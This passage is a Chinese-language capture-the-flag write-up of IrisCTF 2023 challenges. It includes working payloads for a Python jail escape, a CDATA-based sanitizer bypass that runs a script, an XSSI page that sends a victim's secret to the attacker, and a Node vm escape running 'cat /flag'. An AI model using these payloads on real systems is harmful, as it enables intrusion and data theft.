["4b0c569de9bf6510", "3298255d5314ad33"],
["5d81105912c7f421", "805146efee62f09f"],
["6e23f94180be2378", "207a88ced8ab64d1"],
["9751eeee344a8c74", "0b561354ebbb50fa"],
["f4fbf94509aaea25", "4ba4dc46bbde5c63"],
["3e571e4e9604769e", "10820c181de8c1df"],
["1f7b64083d9121e8", "0523ce32dd7a9f02"],
["69b3dfd8765d4267", "23c8d59a34553207"],
]
test_pairs = [[bytes.fromhex(a), bytes.fromhex(b)] for a, b in test_pairs]
fct = bytes.fromhex(
"ceb51064c084e640690c31bf55c1df4950bc81b484f559dce0ae7d509aa0fe07f7ee127e9ecb05eb4b1b58b99494f72c0b4f3f5fe351c1cb"
)


key_sym = [BitVec(f"key{i}", 8) for i in range(KEYLEN)]
for pt, ct in test_pairs:
ct_sym = encrypt_z3(list(pt), key_sym)
for a, b in zip(ct_sym, ct):
sol.add(a == b)
assert sol.check() == sat
m = sol.model()
key = bytes([m.eval(x).as_long() for x in key_sym])
print(key)
flag = ecb_decrypt(fct, key)
print(flag)
# irisctf{if_you_didnt_use_a_smt_solver_thats_cool_too}

不過這題因為只有 2 rounds,就他人所說是可以把它 reduce 成 S(pt^key1)^key2 = ct,然後 byte by byte bruteforce 即可。

Miscellaneous

Name that song

這題給了一首歌的檔案,要找到原曲名。因為它並不是正常常見的歌,shazam 之類的毫無作用。

我是先在 vlc 發現說它有給樂器資訊,同時用 strings 在裡面找到了一些 SNR56.WAV 之類的文字。Google 它可以找到 The Mod Archive 這個網站,上面有很多和它同類型的音樂。

不過我在 Google SNR56.WAV 的第一個結果找到的不是對的,所以換了 Yandex 用同樣的關鍵字查找到 moon gun,聽了一下就剛好是這首歌。

irisctf{moon_gun}

Host Issues

chal_serv.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, request
import string
from base64 import urlsafe_b64decode as b64decode

app = Flask(__name__)

BAD_ENV = ["LD", "LC", "PATH", "ORIGIN"]

@app.route("/env")
def env():
data = b64decode(request.args['q']).decode()
print(data)
if any(c in data.upper() for c in BAD_ENV) \
or any(c not in string.printable for c in data):
return {"ok": 0}
return {"ok": 1}

@app.route("/flag")
def flag():
with open("flag", "r") as f:
flag = f.read()
return {"flag": flag}

app.run(port=25566)

chal.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import os
import subprocess
import json
from base64 import urlsafe_b64encode as b64encode

BANNER = """

Welcome to my insecure temporary data service!
1) Write data
2) Read data

"""

REMOTE = "http://0:25566/"

def check(url):
return json.loads(subprocess.check_output(["curl", "-s", url]))

print(BANNER)
while True:
choice = input("> ")
try:
print(check("http://flag_domain:25566/flag"))
except subprocess.CalledProcessError: pass
try:
if choice == '1':
env = input("Name? ")
if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
os.environ[env] = input("Value? ")
else:
print("No!")
elif choice == '2':
env = input("Name? ")
if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
if env in os.environ:
print(os.environ[env])
else:
print("(Does not exist)")
else:
print("No!")
else:
print("Bye!")
exit()

except Exception as e:
print(e)
exit()

chal.sh:

1
2
3
4
5
#!/bin/bash

(&>/dev/null python3 /home/user/chal_serv.py)&

python3 /home/user/chal.py 2>&1

所以這題目標很明顯,就是要透過控制環境變數讓 http://flag_domain:25566/flag 去 fetch flag。我一樣就先 man curl 在裡面找到 http_proxy 的環境變數,然後只要把它設成 http://127.0.0.1:25566/,那麼 curl 就會發送這樣的請求到 proxy server:

1
2
3
4
5
GET http://flag_domain:25566/flag HTTP/1.1
Host: flag_domain:25566
User-Agent: curl/7.87.0
Accept: */*
Proxy-Connection: Keep-Alive

而這個 flask 那邊也能接受,所以就能得到 flag 了。

irisctf{very_helpful_error_message}

不過 intended solution 說是透過 RESOLV_HOST_CONF 可以讀檔,而這個是在 glibc 的這邊找到的。

Nameless

pyjail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

code_type = type(compile("1", "Code", "exec"))

go = input("Code: ")
res = compile(go, "home", "eval")

def clear(code):
print(">", code.co_names)
new_consts = []
for const in code.co_consts:
print("C:", const)
if isinstance(const, code_type):
new_consts.append(clear(const))
elif isinstance(const, int):
new_consts.append(0)
elif isinstance(const, str):
new_consts.append("")
elif isinstance(const, tuple):
new_consts.append(tuple(None for _ in range(len(const))))
else:
new_consts.append(None)
return code.replace(co_names=(), co_consts=tuple(new_consts))

res = clear(res)
del clear
del go
del code_type

# Go!
res = eval(res, {}, {})
print(res(vars(), vars))

這個 pyjail 會遞迴地把 co_names 清空,然後對 co_consts 做些修改,然後回傳的東西需要是一個函數 res,之後用 res(vars(), vars) 呼叫之。

所以我們會想讓它為 lambda x, y: ... 的形式,因為參數是放在 co_varnames 的所以沒事,function local variables (a:=1 etc) 也是 co_varnames

首先 x 是個 dict,裡面有 __builtins__,所以可以用 [*x][idx] 存取,不過 index 因為 int 都會被 replace 成 0 的關係需要自己用 not[] 去湊。拿到 builtins module 之後就用 y(__builtins__) 把它轉換成 dict,之後再用一樣的方法拿到 breakpoint 直接 call。

1
2
3
4
5
6
7
8
9
10
def gen(n):
s = '+'.join(['(not[])'] * n)
return '(' + s + ')'

go = f"""
lambda x,y:[x:=y(x[[*x][{gen(6)}]]),x[[*x][{gen(12)}]]][{gen(1)}]()
"""
print(go)
# lambda x,y:[x:=y(x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]),x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]][((not[]))]()
# irisctf{i_made_this_challenge_so_long_ago_i_hope_there_arent_10000_with_this_idea_i_missed}

另外是說數字的部分還有些有趣的組法,例如 -~-~-~-~-~-~-~-~-~-~-~(not[]),因為 python 的 ~x 其實就是 -x-1 而已,因為二補數要符合 x+(~x)=-1

Reverse Engineering

baby_rev

丟進 IDA 然後 z3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from z3 import *

s = [Int(f"s_{i}") for i in range(32)]
s0 = s[:]
s[0] -= 105
s[1] = s[1] - 114 + 1
s[2] = s[2] - 105 + 2
s[3] = s[3] - 115 + 3
s[4] = s[4] - 99 + 4
s[5] = s[5] - 116 + 5
s[6] = s[6] - 102 + 6
s[7] = s[7] - 123 + 7
s[8] = s[8] - 109 + 8
s[9] = s[9] - 105 + 9
s[10] = s[10] - 99 + 10
s[11] = s[11] - 114 + 11
s[12] = s[12] - 111 + 12
s[13] = s[13] - 115 + 13
s[14] = s[14] - 111 + 14
s[15] = s[15] - 102 + 15
s[16] = s[16] - 116 + 16
s[17] = s[17] - 95 + 17
s[18] = s[18] - 119 + 18
s[19] = s[19] - 111 + 19
s[20] = s[20] - 114 + 20
s[21] = s[21] - 100 + 21
s[22] = s[22] - 95 + 22
s[23] = s[23] - 97 + 23
s[24] = s[24] - 116 + 24
s[25] = s[25] - 95 + 25
s[26] = s[26] - 104 + 26
s[27] = s[27] - 111 + 27
s[28] = s[28] - 109 + 28
s[29] = s[29] - 101 + 29
s[30] = s[30] - 58 + 30
s[31] = s[31] - 125 + 31
sol = Solver()
for i in range(32):
sol.add(s[i] == i)
assert sol.check() == sat
m = sol.model()
print("".join([chr(m[s0[i]].as_long()) for i in range(32)]))
# irisctf{microsoft_word_at_home:}

雖然以這題來說 z3 其實是很多餘,不過就 z3 比較好偷懶 XD。

Meaning of Python 1

一個 python flag checker,它看起來會對輸入做一些奇怪的操作,然後 zlib.compress 後之後再做其他操作,最後和一個 constant byte string 比較而已。不過仔細看它根本就沒有動到原本的 string,因為是 immutable 的,所以就把最後的結果 zlib.decompress 就搞定了。

Meaning of Python 2

它是個 obfuscated python script,簡單 reverse 一下可知它在 exec(zlib.decompress(something)),所以把那個壓縮的腳本解出來之後 foramt 一下又是另一個 obfuscated python script,但是它做的事和前一題很像,所以猜測說它也是沒有動到輸入,所以就把最後的結果 zlib.decompress 就搞定了。

Scoreboard Website Easter Egg

scoreboard 頁面上有個 /static/theme_min.js 裡面包含了 obfuscated javascript,想辦法自己下 breakpoint 去 debug 之後可知它會在 localStorage 存一些狀態資訊,然後輸入方法是透過你按下的 category tab 來決定。經過 17 個輸入之後會做些 check,然後可以由此 derive 個 AES key 然後解密。

而解法也很簡單,就是把 category names 弄下來,一個一個爆破而已:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
M = 1 << 64
target = [
0x2B47,
0x2EC76,
0x31E0F8,
0x34FFD37,
0x384FEAC4,
0x3BD4EA3C3,
0x3F9238ECB2,
0x438B5C7E540,
0x47C412466529,
0x4C40536ACD1D6,
0x510458A17A1B46,
0x56149E2B91BFCC8,
0x5B75E80E4ADBE365,
0x12D468F2F89A4375,
0x401AF822823E94E2,
0x41CA7A4AA6280CC2,
0x5E721EF508A904F2,
0x45940E4593396E2F,
0x9ED4F29EC6D07ADF,
0x8C241C8B33D8358E,
]
categories = [
"Binary Exploitation",
"Cryptography",
"Forensics",
"Miscellaneous",
"Networks",
"Radio Frequency",
"Reverse Engineering",
"Web Exploitation",
"Welcome",
]
b = 0x17


def cat2val(cat):
u = ord(cat[1]) * ord(cat[6]) - ord(cat[3])
v = cat[1] + cat[6] + cat[3]
return u, v


key = ""
i = 0
while i < len(target):
for cat in categories:
u, v = cat2val(cat)
if (b * 0x11 + u) % M == target[i]:
print(u, v)
b = (b * 0x11 + u) % M
i += 1
key += v
print(key)
break
# then enter the key to debugger to get svg
# irisctf{ponies_who_eat_rainbows_and_poop_butterflies}

根據作者所說你也可以這樣手動按拿到 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
go to homepage
go to network challenge (https://2023.irisc.tf/challenges?category=Networks)
click on these in order:
binexp
forens
binexp
radio
binexp
binexp
crypto
misc
radio
web
forens
radio
netw
radio
netw
web
radio
netw
binexp
flag svg

Web Exploitation

babystrechy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$password = exec("openssl rand -hex 64");

$stretched_password = "";
for($a = 0; $a < strlen($password); $a++) {
for($b = 0; $b < 64; $b++)
$stretched_password .= $password[$a];
}

echo "Fear my 4096 byte password!\n> ";

$h = password_hash($stretched_password, PASSWORD_DEFAULT);

while (FALSE !== ($line = fgets(STDIN))) {
if(password_verify(trim($line), $h)) die(file_get_contents("flag"));
echo "> ";
}
die("No!");

?>

這題關鍵是 PASSWORD_DEFAULT 是 bcrypt,它只取前 72 個字元,所以直接爆就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
import string
from subprocess import check_output

def solve_pow(io):
io.recvuntil(b'with:\n ')
cmd = io.recvlineS().strip()
print(cmd)
if input('Ok? ').lower().strip() != 'y':
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b'Solution? ', out)

# io = process(["php", "chal.php"])
io = remote("stretchy.chal.irisc.tf", 10704)
solve_pow(io)
io.recvuntil(b"> ")


for a in string.hexdigits:
for b in string.hexdigits:
pwd = a * 64 + b * 8
io.sendline(pwd.encode())
io.interactive()
# irisctf{truncation_silent_and_deadly}

babycsrf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from flask import Flask, request

app = Flask(__name__)

with open("home.html") as home:
HOME_PAGE = home.read()

@app.route("/")
def home():
return HOME_PAGE

@app.route("/api")
def page():
secret = request.cookies.get("secret", "EXAMPLEFLAG")
return f"setMessage('irisctf{{{secret}}}');"

app.run(port=12345)

直接用個頁面上面定義 setMessage 並且包含 /api 這個 script 就好了:

1
2
3
4
5
6
<script>
setMessage = flag => {
new Image().src = '/flag?flag=' + encodeURIComponent(flag)
}
</script>
<script src="https://babycsrf-web.chal.irisc.tf/api"></script>

irisctf{jsonp_is_never_the_answer}

是說這應該不叫 CSRF,而是 XSSI (Cross-Site Script Inclusion) 吧...

Feeling Tagged

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask, request, redirect
from bs4 import BeautifulSoup
import secrets
import base64

app = Flask(__name__)
SAFE_TAGS = ['i', 'b', 'p', 'br']

with open("home.html") as home:
HOME_PAGE = home.read()

@app.route("/")
def home():
return HOME_PAGE

@app.route("/add", methods=['POST'])
def add():
contents = request.form.get('contents', "").encode()

return redirect("/page?contents=" + base64.urlsafe_b64encode(contents).decode())

@app.route("/page")
def page():
contents = base64.urlsafe_b64decode(request.args.get('contents', '')).decode()

tree = BeautifulSoup(contents)
for element in tree.find_all():
if element.name not in SAFE_TAGS or len(element.attrs) > 0:
return "This HTML looks sus."

return f"<!DOCTYPE html><html><body>{str(tree)}</body></html>"

基本上就是要繞基於 BeautifulSoup 的一個 html sanitizer,這種東西會出現問題的原因主要在於瀏覽器 (Chromium, Firefox) 在 parse html 時行為一般都和這種 server side 的 library 不一樣,所以很容易產生出不同的行為。

這邊 BeautifulSoup 用的底層 parser 是 html.parser,然後我就開始隨便試一些 html 的玩法,發現說它也會考慮 CDATA,但是在 HTML5 中 CDATA 只會在一些特別的 context 下有作用,所以這就能繞過了:

1
<![CDATA[><script>alert(1)</script>]]>

BeautifulSoup 把它當成完整的 CDATA tag,但對 Chromium 來說 <![CDATA[> 被當成了一個 comment,所以後面的 script 就能執行。

irisctf{security_by_option}

作者的 writeup 是利用 <!--> 在 HTML5 中是一個 closed comment 這個事實來繞的。

metacalc

1
2
3
4
5
6
7
8
9
10
11
12
13
const { Sheet } = require('metacalc');
const readline = require('readline');

const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();

rl.question('I will add 1 to your input?? ', input => {
sheet.cells["A1"] = 1;
sheet.cells["A2"] = input;
sheet.cells["A3"] = "=A1+A2";
console.log(sheet.values["A3"]);
process.exit(0);
});

這邊使用的 metacalc0.0.2 版本,然後它還有上一個 patch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--- sheet.o.js	2022-08-11 17:32:27.803553441 -0700
+++ sheet.js 2022-08-11 17:38:51.821472938 -0700
@@ -7,13 +7,16 @@
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
+ if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});

-const math = wrap(Math);
+// Math has too much of an attack surface :(
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);

const getValue = (target, prop) => {
if (prop === 'Math') return math;

所以 node_modules/metacalc/lib/sheet.js 會變成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
'use strict';

const metavm = require('metavm');

const wrap = (target) =>
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});

// Math has too much of an attack surface :(
const SlightlyLessUsefulMath = new Object();
const math = wrap(SlightlyLessUsefulMath);

const getValue = (target, prop) => {
if (prop === 'Math') return math;
const { expressions, data } = target;
if (!expressions.has(prop)) return data.get(prop);
const expression = expressions.get(prop);
return expression();
};

const getCell = (target, prop) => {
const { expressions, data } = target;
const collection = expressions.has(prop) ? expressions : data;
return collection.get(prop);
};

const setCell = (target, prop, value) => {
if (typeof value === 'string' && value[0] === '=') {
const src = '() => ' + value.substring(1);
const options = { context: target.context };
const script = metavm.createScript(prop, src, options);
target.expressions.set(prop, script.exports);
} else {
target.data.set(prop, value);
}
return true;
};

class Sheet {
constructor() {
this.data = new Map();
this.expressions = new Map();
this.values = new Proxy(this, { get: getValue });
this.context = metavm.createContext(this.values);
this.cells = new Proxy(this, { get: getCell, set: setCell });
}
}

module.exports = { Sheet };

看起來就像是個 node.js jail,一般的關鍵都是要想辦法取得 vm 外面的物件,所以突破口肯定和 Math 有關。雖然你不能直接存用 Math.__proto__ 拿到外面的 Object.prototype,但是可以用 Object.getPrototypeOf 繞掉這個,因此完整的 payload 如下:

1
=({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /flag").toString()

irisctf{be_careful_of_implicit_calls}